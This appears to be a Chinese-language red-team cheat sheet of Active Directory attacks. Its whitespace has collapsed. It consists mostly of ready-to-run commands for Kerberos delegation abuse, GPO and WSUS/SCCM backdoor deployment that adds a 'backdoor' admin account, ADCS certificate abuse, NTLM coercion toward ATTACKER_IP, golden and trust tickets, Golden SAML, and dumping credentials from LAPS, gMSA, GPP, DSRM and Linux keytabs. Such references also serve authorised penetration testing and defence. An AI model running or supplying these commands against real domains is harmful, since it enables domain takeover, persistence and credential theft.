高级活动目录攻击参考目录Delegation AttacksGroup Policy Object AbuseRODC AttacksSCCM/WSUS DeploymentAD Certificate Services (ADCS)Trust Relationship AttacksADFS Golden SAMLCredential SourcesLinux AD Integration委托攻击无限制委派当用户使用不受限制的委派进行电脑身份验证时他们的TGT会被保存到内存中。查找委派:# PowerShellGet-ADComputer-Filter{TrustedForDelegation-eq$True}# BloodHoundMATCH(c:Computer{unconstraineddelegation:true})RETURNcSpoolService 滥用# Check spooler servicels\\dc01\pipe\spoolss# Trigger with SpoolSample.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local# Or with printerbug.pypython3 printerbug.pydomain/user:passDC01 ATTACKER_IP使用 Rubeus 监控Rubeus.exe monitor/interval:1受限委派识别Get-DomainComputer-TrustedToAuth|select-exp msds-AllowedToDelegateTo使用 Rubeus 利用漏洞# S4U2 attackRubeus.exe s4u/user:svc_account/rc4:HASH/impersonateuser:Administrator/msdsspn:cifs/target.domain.local/ptt使用 Impacket 的漏洞利用getST.py-spnHOST/target.domain.localdomain/user:password-impersonateAdministrator -dc-ip DC_IP基于资源的受限委派 (RBCD)# Create machine accountNew-MachineAccount-MachineAccount AttackerPC-Password $(ConvertTo-SecureStringPassword123-AsPlainText-Force)# Set delegationSet-ADComputertarget-PrincipalsAllowedToDelegateToAccount AttackerPC$# Get ticket.\Rubeus.exe s4u/user:AttackerPC$/rc4:HASH/impersonateuser:Administrator/msdsspn:cifs/target.domain.local/ptt组策略对象滥用查找易受攻击的GPOGet-DomainObjectAcl-IdentitySuperSecureGPO-ResolveGUIDs|Where-Object{($_.ActiveDirectoryRights.ToString()-matchGenericWrite|WriteDacl|WriteOwner)}使用 SharpGPOAbuse 滥用# Add local admin.\SharpGPOAbuse.exe--AddLocalAdmin--UserAccount attacker--GPONameVulnerable GPO# Add user rights.\SharpGPOAbuse.exe--AddUserRights--UserRightsSeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight--UserAccount attacker--GPONameVulnerable GPO# Add immediate task.\SharpGPOAbuse.exe--AddComputerTask--TaskNameUpdate--Author DOMAIN\Admin--Commandcmd.exe--Arguments/c net user backdoor Password123! /add--GPONameVulnerable GPO使用 pyGPOAbuse 滥用Linux./pygpoabuse.py DOMAIN/user-hasheslm:nt -gpo-id12345677-ABCD-9876-ABCD-123456789012RODC 攻击RODC 黄金票RODC 包含经过筛选的 AD 副本不包括 LAPS/Bitlocker 密钥。为 msDS-RevealOnDemandGroup 中的主体伪造票证。RODC 密钥列表攻击要求RODC 的 krbtgt 凭证 (-rodcKey)RODC 的 krbtgt 帐户 ID (-rodcNo)# Impacket keylistattackkeylistattack.py DOMAIN/user:passwordhost-rodcNoXXXXX-rodcKeyXXXXXXXXXXXXXXXXXXXX-full# Using secretsdump with keylistsecretsdump.py DOMAIN/user:passwordhost-rodcNoXXXXX-rodcKeyXXXXXXXXXXXXXXXXXXXX -use-keylist使用 RubeusRubeus.exe golden/rodcNumber:25078/aes256:RODC_AES256_KEY/user:Administrator/id:500/domain:domain.local/sid:S-1-5-21-xxxSCCM/WSUS 部署使用 MalSCCM 的 SCCM 攻击# Locate SCCM serverMalSCCM.exelocate# Enumerate targetsMalSCCM.exe inspect /all MalSCCM.exe inspect /computers# Create target groupMalSCCM.exe group /create /groupname:TargetGroup /grouptype:device MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC# Create malicious appMalSCCM.exe app /create /name:backdoor /uncpath:\\SCCM\SCCMContentLib$\evil.exe# DeployMalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update# Force checkinMalSCCM.exe checkin /groupname:TargetGroup# CleanupMalSCCM.exe app /cleanup /name:backdoor MalSCCM.exe group /delete /groupname:TargetGroupSCCM 网络访问帐户# Find SCCM blobGet-Wmiobject-namespaceroot\ccm\policy\Machine\ActualConfig-classCCM_NetworkAccessAccount# Decrypt with SharpSCCM.\SharpSCCM.exe get naa-u USERNAME-p PASSWORDWSUS 部署攻击# Using SharpWSUSSharpWSUS.exelocateSharpWSUS.exe inspect# Create malicious updateSharpWSUS.exe create /payload:C:\psexec.exe/args:-accepteula -s -d cmd.exe /c\net user backdoor Password123! /add\/title:Critical Update# Deploy to targetSharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:Demo Group# Check statusSharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local# CleanupSharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:Demo GroupAD 证书服务 (ADCS)ESC1 - 配置错误的模板模板允许 ENROLLEE_SUPPLIES_SUBJECT 使用客户端身份验证 EKU。# Find vulnerable templatescertipyfind-uuserdomain.local-ppassword -dc-ip DC_IP-vulnerable# Request certificate as admincertipy req-uuserdomain.local-ppassword-caCA-NAME-targetca.domain.local-templateVulnTemplate-upnadministratordomain.local# Authenticatecertipy auth-pfxadministrator.pfx -dc-ip DC_IPESC4 - ACL 漏洞# Check for WritePropertypython3 modifyCertTemplate.py domain.local/user-k-no-pass-template user-dc-ip DC_IP-get-acl# Add ENROLLEE_SUPPLIES_SUBJECT flagpython3 modifyCertTemplate.py domain.local/user-k-no-pass-template user-dc-ip DC_IP-add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT# Perform ESC1, then restorepython3 modifyCertTemplate.py domain.local/user-k-no-pass-template user-dc-ip DC_IP-value0-propertymspki-Certificate-Name-FlagESC8 - NTLM 中继到 Web 注册# Start relayntlmrelayx.py-thttp://ca.domain.local/certsrv/certfnsh.asp-smb2support--adcs--templateDomainController# Coerce authenticationpython3 petitpotam.py ATTACKER_IP DC_IP# Use certificateRubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt影子凭证# Add Key Credential (pyWhisker)python3 pywhisker.py-ddomain.local-uuser1-ppassword--targetTARGET--actionadd# Get TGT with PKINITpython3 gettgtpkinit.py -cert-pfxcert.pfx-pfx-passpassworddomain.local/TARGETtarget.ccache# Get NT hashexportKRB5CCNAMEtarget.ccache python3 getnthash.py-keyAS-REP_KEYdomain.local/TARGET信任关系攻击子域到父域SID 历史# Get Enterprise Admins SID from parent$ParentSIDS-1-5-21-PARENT-DOMAIN-SID-519# Create Golden Ticket with SID Historykerberos::golden/user:Administrator/domain:child.parent.local/sid:S-1-5-21-CHILD-SID/krbtgt:KRBTGT_HASH/sids:$ParentSID/ptt森林到森林信托票# Dump trust keylsadump::trust /patch# Forge inter-realm TGTkerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi# Use trust ticket.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /pttADFS 金色 SAML要求ADFS 服务帐户访问令牌签名证书PFX 解密密码# Dump with ADFSDump.\ADFSDump.exe# Forge SAML tokenpython ADFSpoof.py-bEncryptedPfx.bin DkmKey.bin-sadfs.domain.local saml2--endpointhttps://target/saml--nameidadministratordomain.local凭证来源LAPS 密码# PowerShellGet-ADComputer-filter{ms-mcs-admpwdexpirationtime-like*}-propms-mcs-admpwd,ms-mcs-admpwdexpirationtime# CrackMapExeccrackmapexec ldap DC_IP-u user-p password-M lapsGMSA 密码# PowerShell DSInternals$gmsaGet-ADServiceAccount-IdentitySVC_ACCOUNT-PropertiesmsDS-ManagedPassword$mp$gmsa.msDS-ManagedPasswordConvertFrom-ADManagedPasswordBlob$mp# Linux with bloodyADpython bloodyAD.py-uuser-ppassword--hostDC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword组策略首选项 (GPP)# Find in SYSVOLfindstr /S /I cpassword\\domain.local\sysvol\domain.local\policies\*.xml# Decryptpython3 Get-GPPPassword.py -no-passDC_IPDSRM 凭证# Dump DSRM hashInvoke-Mimikatz-Commandtoken::elevate lsadump::sam# Enable DSRM admin logonSet-ItemPropertyHKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA-name DsrmAdminLogonBehavior-value 2Linux AD 集成CCACHE 票据重用# Find ticketsls/tmp/|grepkrb5cc# Use ticketexportKRB5CCNAME/tmp/krb5cc_1000从 keytab 提取# List keysklist-k/etc/krb5.keytab# Extract with KeyTabExtractpython3 keytabextract.py /etc/krb5.keytab从SSSD提取# Database location/var/lib/sss/secrets/secrets.ldb# Key location/var/lib/sss/secrets/.secrets.mkey# Extractpython3 SSSDKCMExtractor.py--databasesecrets.ldb--keysecrets.mkey